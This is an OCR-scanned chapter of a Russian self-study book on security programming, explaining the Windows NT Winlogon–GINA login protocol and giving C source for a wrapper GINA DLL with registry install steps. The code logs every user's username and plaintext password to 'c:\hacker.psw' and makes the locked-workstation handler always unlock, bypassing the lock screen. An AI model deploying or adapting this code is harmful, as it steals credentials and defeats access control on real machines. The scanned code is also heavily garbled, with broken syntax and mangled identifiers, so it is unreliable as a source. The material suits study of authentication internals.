Самоучитель по программированию систем защиты

       

Протокол взаимодействия процесса Winlogon и библиотеки GINA



Протокол взаимодействия процесса Winlogon и библиотеки GINA

Сразу после загрузки Winlogon инициализирует GINA, вызывая последовательно ее функции WlxNegotiate и Wlxlnitialize. Рабочая станция переходит в состояние «Пользователь не вошел в систему».

Когда пользователь собирается войти в систему с помощью комбинации клавиш Ctrl-Alt-Del, Winlogon вызывает функцию WlxLoggedOutSas библиотеки GINA. WlxLoggedOutSas осуществляет попытку входа в систему, вызывая системную функцию LogonUser. В зависимости от информации, введенной пользователем, GINA возвращает процессу Winlogon одно из следующих значений:

  • WLX_SAS_ACTION_LOGON - пользователь вошел в систему. Получив это значение, Winlogon вызывает функцию WlxActivateUserShell библиотеки GINA, которая загружает индивидуальную оболочку пользователя;
  • WLX_SAS_ACTION_NONE - пользователь не смог войти в систему. Состояние системы не изменяется;
  • WLX_SAS_ACTION_SHUTDOWN - пользователь потребовал завершить работу системы. Эта возможность может быть отключена (см. выше). Получив данное возвращаемое значение, Winlogon последовательно вызывает функции библиотеки GINA WlxLogojfn WlxShutdown.
  • Если пользователь нажал комбинацию Ctrl-Alt-Del, уже войдя в систему, Winlogon вызывает функцию WlxLoggedOnSas. GINA выводит на экран диалоговое окно и, в зависимости от решения пользователя, выполняет следующие действия:

  • если пользователь решил не предпринимать никаких действий, GINA возвращает в Winlogon значение WLX_SAS_ACTION_NONE. Winlogon возвращает систему в то же состояние, в котором она была до нажатия комбинации Ctrl-Alt-Del;
  • если пользователь желает просмотреть список активных процессов, GINA возвращает значение WLX_SAS_ACTION_TASKLIST. Winlogon возвращает систему в состояние) в котором она была до нажатия комбинации Ctrl-Alt-Del и активизирует процесс Task Manager,
  • если пользователь желает заблокировать рабочую станцию, GINA возвращает значение WLX_SAS_ACTION_LOCK_WKSTA. Winlogon блокирует систему;
  • если пользователь желает выйти из системы, GINA возвращает значение WLX_SAS_ACTION_LOGOFF.
    Winlogon в ответ вызывает функцию GINA WlxLogoff;




  • если пользователь желает завершить работу с компьютером, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN, Winlogon последовательно вызывает функции GINA WlxLogoff к WlxShutdown.;


  • если пользователь желает перезагрузить компьютер, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN_REBOOT. Winlogon последовательно вызывает функции GINA WlxLogoff и WlxShutdown. По окончании выгрузки системы компьютер автоматически перезагружается;


  • если пользователь желает, закончить работу с компьютером и выключить его, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN_ REBOOT_ POWER_OFF. Winlogon последовательно вызывает функции GINA WlxLogoff n WlxShutdown. По окончании выгрузки системы компьютер автоматически выключается. Если аппаратная часть компьютера не допускает программного отключения питания, данное возвращаемое значение имеет тот же эффект, что и WLX_SAS_ACTION_ SHUTDOWN;


  • если пользователь желает изменить свой пароль, GINA выводит на экран соответствующее диалоговое окно, по окончании ввода пользователем нового пароля вызывает функцию WlxChangePasswordNotify и затем возвращает в Winlogon

    значение WLX_SAS_ACTION_PWD_ CHANGED.


  • Когда рабочая станция заблокирована, а пользователь нажал комбинацию Ctrl-Alt-

    Del, Winlogon вызывает функцию GINA WlxWkstaLockedSas. GINA запрашивает у

    f пользователя параметры идентификации и проверяет их. В зависимости от результата

    проверки GINA возвращает одно из следующих значений:

  • WLX_UNLOCK_WKSTA - разблокировать рабочую станцию;


  • WLX_FORCE_LOGOFF - принудительный выход из системы с последующим входом в систему администратора;


  • WLX_NO_ACTION - рабочая станция остается заблокированной.


  • Если пользователь вошел в систему и один из процессов вызывает системную функцию ExitWindowsEx, Winlogon в зависимости от параметров ExitWindowsEx вызывает либо WlxLogoff, либо последовательно WlxLogoff и WlxShutdown. При этом, соответственно, либо пользователь выходит из системы, либо система завершает работу.



    Если GINA получает от пользователя нестандартную SAS, она вызывает функцию Winlogon WlxSasNotify, после чего Winlogon вызывает одну из вышеперечисленных функций GINA, в зависимости от контекста, в котором была получена SAS.

    Для изучения процесса идентификации и аутентификации можно использовать приводимый ниже модуль (DLL), который является «переходником» между WinLogon и стандартной MSGINA. Прототипы экспортируемых MSGINA.DLL описаны в файле winwlx.h стандартной поставки MS SDK.

    #include <tchar.h>

    #include <windows.h>

    finclude <winioctl.h>

    finclude "winwlx.h"

    tinclude <lm.h>

    #include <io.h>

    tinclude <stdio.h>

    tfinclude <fcntl.h>

    #include "xgina,h"

    int glob_lock;

    HINSTANCE hMSGinaDLL

    HINSTANCE hDllInstance;

    HANDLE hGlobalWlxPWLX_DISPATCH_VERSION_l_0 pWlxFuncs

    typedef BOOL ( WINAPI *WLXNEGOTIATE )( DWORD, DWORD* );

    typedef BOOL ( WINAPI *WLXINITIALIZE )( LPWSTR, HANDLE, PVOID,

    PVOID, PVOID ) ;

    typedef VOID ( WINAPI *WLXDISPLAYSASNOTICE )( PVOID );

    typedef int ( WINAPI *WLXLOGGEDOUTSAS )( PVOID, DWORD, PLUID,

    PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID* );

    typedef BOOL ( WINAPI *WLXACTIVATEUSERSHELL ) ( PVOID, PWSTR,

    PWSTR, PVOID );

    typedef int ( WINAPI *WLXLOGGEDONSAS )( PVOID, DWORD, PVOID );

    typedef BOOL ( WINAPI *WLXISLOCKOK )(PVOID );

    typedef VOID ( WINAPI *WLXDISPLAYLOCKEDNOTICE ) ( PVOID );

    typedef int ( WINAPI *WLXWKSTALOCKEDSAS )( PVOID, DWORD );

    typedef BOOL ( WINAPI *WLXISLOGOFFOK) ( PVOID );

    typedef VOID ( WINAPI *WLXLOGOFF) ( PVOID );

    typedef VOID ( WINAPI *WLXSHUTDOWN )( PVOID, DWORD );

    WLXNEGOTIATE g^lpWlxNegotiate = NULL; WLXINITIALIZE g_lpWlxInitialize = NULL; WLXDISPLAYSASNOTICE g_lpWlxDisplaySASNotice = NULL; WLXLOGGEDOUTSAS g_lpWlxLoggedOutSAS = NULL; WLXACTIVATEUSERSHELL g_lpWlxActivateUserShell = NULL; WLXLOGGEDONSAS g_lpWlxLoggedOnSAS = NULL; WLXISLOCKOK g_lpWlx!sLockOk = NULL; WLXDISPLAYLOCKEDNOTICE g_lpWlxDisplayLockedNotice = NULL;

    WLXWKSTALOCKEDSAS g_lpWlxWkstaLockedSAS = NULL; WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL; WLXLOGOFF g_lpWlxLogoff = NULL; WLXSHUTDOWN g_lpWlxShutdown = NULL; BOOL InitMSGinaDll()



    I hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL") );

    I if (hMSGinaDLL == NULL)

    I {

    return FALSE;

    ' }

    MessageBox(NULL,_T(" Load Original Library MSGINA"),_T("GinaDebug"),MB_OK);

    g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress( , hMSGinaDLL, "WlxNegotiate" ); . g_lpWlx!nitialize = ( WLXINITIALIZE )GetProcAddress(

    hMSGinaDLL, "Wlxlnitialize" ); k g_lpWlxDisplaySASNotice = (WLXDISPLAYSASNOTICE )GetProcAddress(

    hMSGinaDLL, "WlxDisplaySASNotice" ) ;

    g_lpWlxLoggedOutSAS = ( WLXLOGGEDOUTSAS )GetProcAddress (

    hMSGinaDLL, "WlxLoggedOutSAS" );

    g_lpWlxActivateUserShell = (WLXACTIVATEUSERSHELL )GetProcAddress(

    hMSGinaDLL, "WlxActivateUserShell" ); i g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(

    hMSGinaDLL, "WlxLoggedOnSAS" ); ; g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(

    hMSGinaDLL, "WlxIsLockOk" ); ' g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE )GetProcAddress(

    hMSGinaDLL, "WlxDisplayLockedNotice" );

    g_lpWlxWkstaLockedSAS = ( WLXWKSTALOCKEDSAS )GetProcAddress (

    hMSGinaDLL, "WlxWkstaLockedSAS" );

    g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress (

    hMSGinaDLL, "WlxIsLogoffOk" );

    g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(

    hMSGinaDLL, "WlxLogoff" );

    g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(

    hMSGinaDLL, "WlxShutdown" );

    if (!g_lpWlxNegotiate)

    {

    return FALSE;

    if (!g_lpWlx!nitialize)

    {

    return FALSE;

    }

    if (!g_lpWlxDisplaySASNotice)

    {

    return FALSE;

    }

    if (!g_lpWlxLoggedOutSAS)

    {

    return FALSE;

    }

    if (!g_lpWlxActivateUserShell)

    {

    return FALSE;

    }

    if (!g_lpWlxLoggedOnSAS)

    {

    return FALSE;

    }

    if (IgJLpWlxIsLockOk)

    {

    return FALSE;

    }

    if (!g_lpWlxDisplayLockedNotice)

    {

    return FALSE;

    }

    if (!g_lpWlxWkstaLockedSAS)

    {

    return FALSE;

    }

    if (!g_lpWlxIsLogoffOk)

    {

    return FALSE;

    }

    if (!g_lpWlxLogoff)

    {

    return FALSE;

    }

    if (!g_lpWlxShutdown)

    return FALSE;

    MessageBox(NULL,_T("All Function Attach Succesfully") ,_T("GinaDebug"),MB_OK);



    return TRUE; } '

    BOOL WINAPI DllMain( HINSTANCE hlnstance, DWORD dwReason, LPVOID IpReserved) switch( dwReason )

    case DLL_PROCESS_ATTACH: I DisableThreadLibraryCalls( hlnstance );

    | hDHInstance = hlnstance;

    f.

    i.

    \ if (UnitMSGinaDllO ) I return FALSE;

    break;

    case DLL_PROCESS_DETACH: FreeLibrary(hMSGinaDLL); break/default: break;

    return TRUE; }

    BOOL WINAPI WlxNegotiate (DWORD dwWinlogonVersion, PDWORD pdwDHVersion) { BOOL res = FALSE;

    MessageBox(NULL,_T("WlxNegotiate"),_T("GinaDebug"),MB_OK)

    res = g_lpWlxNegotiate(dwWinlogonVersion, pdwDHVersion);

    *

    return res;

    BOOL WINAPI Wlxlnitialize( LPWSTR IpWinsta, HANDLE hWlx, PVOID pvReserved, PVOID pWinlogonFunctions, PVOID* pWlxContext )

    BOOL res = FALSE;

    MessageBox(NULL,_T("Wlxinitiali ze"),_T("GinaDebug"),MB_OK);

    pWlxFuncs = (PWLX_DISPATCH_VERSION_1_0 )pWinlogonFunctions;

    res = g_lpWlx!nitialize(IpWinsta, hWlx, pvReserved, pWinlogonFunctions, pWlxContext);

    return res;

    VOID WINAPI WlxDisplaySASNotice(PVOID pContext) MessageBox(NULL,_T("WlxDisplaySASNotice"),_T("GinaDebug"),MB_OK); g IpWlxDisplaySASNotice(pContext);

    int WINAPI WlxLoggedOutSAS(

    PVOID pWlxContext, // Context associated with this window station.

    DWORD dwSasType, // Indicates the type of SAS that occurred

    FLUID pAuthenticationld,// ID associated with current logon session.

    PSID pLogonSid, // SID is unique to the current logon session.

    PDWORD pdwOptions, // Options: load profile, etc.

    PHANDLE phToken, // Token

    PWLX_MPR_NOTIFY_INFO pMprNotifylnfo,

    // Password information to other network providers

    PVOID* pProfile ) // Point to one of the WLX_PROFILE_xxx structures. {

    int res,i;

    FILE *out;

    UCHAR current_name [32] , current_pass [32] ;

    UCHAR pro[2]={0x20,0};

    UCHAR end[3]={OxD,OxA, 0};

    MessageBox (NULL, _T ("WlxLoggedOutSAS") ,_T ("GinaDebug") ,MB_OK) res = g_lpWlxLoggedOutSAS (

    pWlxContext, dwSasType, pAuthenticationld,

    pLogonSid, pdwOptions, phToken, pMprNotifylnfo,



    pProf ile ) ;

    if (res == WLXSASACTIONLOGON)

    for (i=0; i<32; i++) current_name [i] =0;

    for (i=0;i<32;i++)

    {

    if (pMprNotify!nfo->pszUserName [i] ==0) break;

    else current_name [i]=pMprNotify!nfo->pszUserName [i] ;

    for (i=0; i<32; i++) current_pass [i] =0;

    for (i=0;i<32;i++)

    {

    if (pMprNotif yinf o->pszPassword [i] ==0) break;

    else current_pass [i]=pMprNotify!nfo->pszPassword[i] ;

    out=fopen ("c: \\hacker.psw", "r+b") ; if (out!=NULL) {

    f seek ( out, 0,SEEK_END) ; fwrite (current_name, sizeof (char) , strlen (current_name) , out) ;

    fwrite (pro, sizeof (char) , lf out) ; fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;

    fwrite (end, sizeof (char) , 2, out) ; f close (out) ;

    return res;

    BOOL WINAPI WlxActivateUserShell ( PVOID pWlxContext, PWSTR pszDesktop, PWSTR pszMprLogonScript, PVOID pEnvironment ) {

    BOOL res = FALSE; MessageBox (NULL, _T ( "WlxActivateUserShell" ) , _T ( "GinaDebug" ) , MB_OK) ;

    res = g_lpWlxActivateUserShell ( pWlxContext, pszDesktop/ pszMprLogonScript, pEnvironment ) ;

    return ( res ) ;

    int WINAPI WlxLoggedOnSAS (

    PVOID pWlxContext,

    DWORD dwSasType,

    PVOID pReserved ) {

    int res;

    MessageBox (NULL, _T( "WlxLoggedOnSAS") ,_T ("GinaDebug") ,MB_OK) ;

    if (glob_lock==0)

    res = g_lpWlxLoggedOnSAS (pWlxContext, dwSasType, pReserved);

    if (res==WLX_SAS_ACTION_LOCK_WKSTA) glob_lock=l;

    return res;

    BOOL WINAPI WlxIsLockOk (PVOID pWlxContext) {

    BOOL res;

    MessageBox (NULL, _T( "WlxIsLockOk") ,_T ("GinaDebug") ,MB_OK) ;

    res = g_lpWlxIsLockOk (pWlxContext) ;

    return res;

    )ID WINAPI WlxDisplayLockedNotice(PVOID pWlxContext)

    essageBox(NULL,_T("WlxDisplayLockedNotice"),_T("GinaDebug"),MB_OK); g_lpWlxDisplayLockedNotice(pWlxContext);

    it WINAPI WlxWkstaLockedSAS( PVOID pWlxContext, DWORD dwSasType

    Lnt res;

    glob_lock=0;

    lessageBox(NULL,_T("WlxWkstaLockedSAS"),_T("GinaDebug"),MB_OK);



    res = g_lpWlxWkstaLockedSAS(pWlxContext, dwSasType); return WLX_SAS_ACTION_UNLOCK_WKSTA;

    DOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )

    BOOL res;

    MessageBox(NULL,_T("WlxIsLogoffOk"),_T("GinaDebug"),MB_OK);

    res = g_lpWlxIsLogoffOk(pWlxContext) ;

    return res;

    DID WINAPI WlxLogoff ( PVOID pWlxContext )

    MessageBox(NULL,_T("WlxLogoff"') ,_T ("GinaDebug") ,MB_OK) ; g IpWlxLogoff(pWlxContext);

    OID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType

    MessageBox(NULL,_T("WlxShutdown"),_T("GinaDebug"),MB_OK); g IpWlxShutdown(pWlxContext, ShutdownType);

    Файл экспорта

    LIBRARY XGINA

    DESCRIPTION 'Windows NT Logon GUI'

    EXPORTS

    WlxNegotiate

    Wlxlnitialize

    WlxDisplaySASNotice

    WlxLoggedOutSAS

    WlxActivateUserShell

    WlxLoggedOnSAS

    WlxDisplayLockedNotice

    WlxWkstaLockedSAS

    WlxIsLockOk

    WlxIsLogoffOk

    WlxLogoff

    WlxShutdown

    Файл xgina.h

    #ifndef GINA_GINA_H

    # _ tdefine GINA_GINA_H_

    extern HINSTANCE hDllInstance;

    extern HANDLE hGlobalWlx;

    extern PWLX_DISPATCH_VERSION_1_0 pWlxFuncs;

    typedef struct Globals

    BOOL

    BOOL

    HANDLE

    PWSTR

    PWSTR

    PWSTR

    SYSTEMTIME timeOfLogin; } Globals, *PGlobals; #endif // GINA GINA H

    fAutoLogonAtBoot;

    fAutoLogonAlways;

    hUserToken;

    pszUsername;

    pszDomain;

    pszPassword;

    Для активизации модуля xgina.dll необходимо создать ключ реестра (например, при помощи Regini с использованием следующего ini файла):

    \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

    GinaDll = c:\xgina.dll

    Вместо c:\xgina.dll необходимо указать реальный путь, либо поместить библиотеку по заданному пути.

    Процесс ИА регулируется следующими ключами реестра \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon.

    Название

    Значение

    Значение по умолчанию

    AutoAdminLogon

    0/1

    0

    Определяет необходимость автоматического входа в систему с именем DefaultUserName и паролем DefaultPassword

    DefaultDomain- Name

    имя домена

    NEWDOMAIN

    Определяет имя домена, для которого был произведен последний успешный вход в систему

    DefaultPassword

    пароль

    нет

    Определяет пароль для пользователя, указанного в DefaultUserName и используется при входе в систему по умолчанию

    DefaultUserName

    имя пользователя

    имя последнего успешно вошедшего в систему пользователя

    Если определены значения AutoAdminLogon и Default-Password, то это имя используется для входа в систему по умолчанию

    DontDisplayLast- UserName

    0/1

    0

    LegalNoticeCap- tion

    строка заго- ловка

    нет

    Определяет заголовок специального сообщения пользователю

    LegalNoticeText

    строка текста сообщения

    нет

    Определяет текст специального сообщения пользователю

    ParseAutoexec

    0/1

    1

    При установленном в 1 значении содержимое фай- ла AUTOEXEC.BAT анализируется при входе в Win- dows NT

    PowerdownAfter- Shutdown

    0/1

    0 для Windows NT Server, 1 для Windows NT Worksta- tion

    Если этот ключ установлен в 1, пользователь может выби- рать действия Shutdown и PowerOff из меню ShutDown и Logoff. Иначе кнопка Power Off не появляется

    Shutdown With- outLogon

    0/1

    0 для Windows NT Server, 1 для Windows NT Worksta- tion

    Если это значение установ- лено в 1, пользователь может выбирать Shutdown без Pow- erOff из диалогового окна Welcome. Иначе, ShutDown без Power Off не появляется

    ReportBootOk

    0/1

    1

    Если это значение установ лено в 0, то отключается автоматическое принятие за- пуска (по умолчанию), которое производится после пер- вого успешного входа в систему. Это значение должно быть равно 0, если используются альтернативные назначения в ключах BootVeri- fication или BootVerifica- tionProgram

    Shell

    Имена испол- няемых при- ложений

    taskman, prog- man, wowexec

    Определяет исполняемые программы, которые должны быть выполнены как оболочки пользователя

    System

    Исполняемые имена

    lsass.exe, spollss.exe

    Определяет имена программ, которые должен выполнить процесс WinLogon в контек- сте системы

    Taskman

    Исполняемые имена

    нет

    Позволяет определить имена программ, решающих раз- личные административные задачи

    Userlnit

    Исполняемые имена

    userini, nddeagntexe

    определяет исполняемые программы, которые должен выполнить процесс WinLogon при входе пользователя в систему

    <


     

    Содержание раздела